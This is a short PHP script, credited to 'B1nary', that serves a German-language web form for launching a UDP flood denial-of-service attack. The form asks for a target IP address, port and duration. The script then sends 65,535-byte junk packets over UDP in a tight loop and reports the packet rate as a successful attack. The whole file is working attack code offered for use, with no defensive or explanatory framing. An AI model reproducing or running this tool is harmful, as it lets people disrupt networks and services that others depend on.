<?php // B1nary @ toolbase.bz set_time_limit(0); ignore_user_abort(false); echo '<h2>PHP-DoS by B1nary @ Toolbase.me</h2>'; if (!function_exists('fsockopen')): die('Die Funktion "fsockopen" konnte nicht gefunden werden! (PHP v'.phpversion().')'); endif; if (isset($_POST['startdos'])): $duration = intval(trim($_POST['time'])); $target = trim($_POST['target']); $port = intval(trim($_POST['port'])); if (!empty($duration) && !empty($target) && !empty($port)): $limit = time() + $duration; $payload = ''; $packets = 0; for ($i=0; $i < 65535; $i++): $payload .= "X"; endfor; while (1): $packets++; if (time() > $limit): break; endif; $socks = @fsockopen('udp://'.$target, $port, $errno, $errstr, 5); if ($socks): @fwrite($socks, $payload); @fclose($socks); endif; endwhile; echo '<b style="color:#0B6121">DoS-Angriff erfolgreich durchgeführt!</b><br />'; echo $packets.' Anfragen ('.round(($packets*65)/1024, 2).' MB) mit '.round($packets/$duration, 2).' Anfragen pro Sekunde'; else: echo '<p><b>Fehler:</b> Bitte alle Felder ausfüllen!</p>'; endif; else: echo '<form action="" method="post" style="margin:20px">'; echo '<input type="text" name="target" placeholder="IP-Adresse" style="width:120px; display:block; margin:0 0 10px 0; padding:5px" />'; echo '<input type="text" name="port" placeholder="offener Port" maxlength="5" style="width:100px; display:block; margin:0 0 10px 0; padding:5px" />'; echo '<input type="text" name="time" placeholder="DoS-Dauer in Sekunden" style="width:150px; display:block; padding:5px" />'; echo '<input type="submit" name="startdos" value="DoS starten" style="margin:10px 0 0 0; background:#fff; border:1px solid #999" />'; echo '</form>'; endif; ?>
hf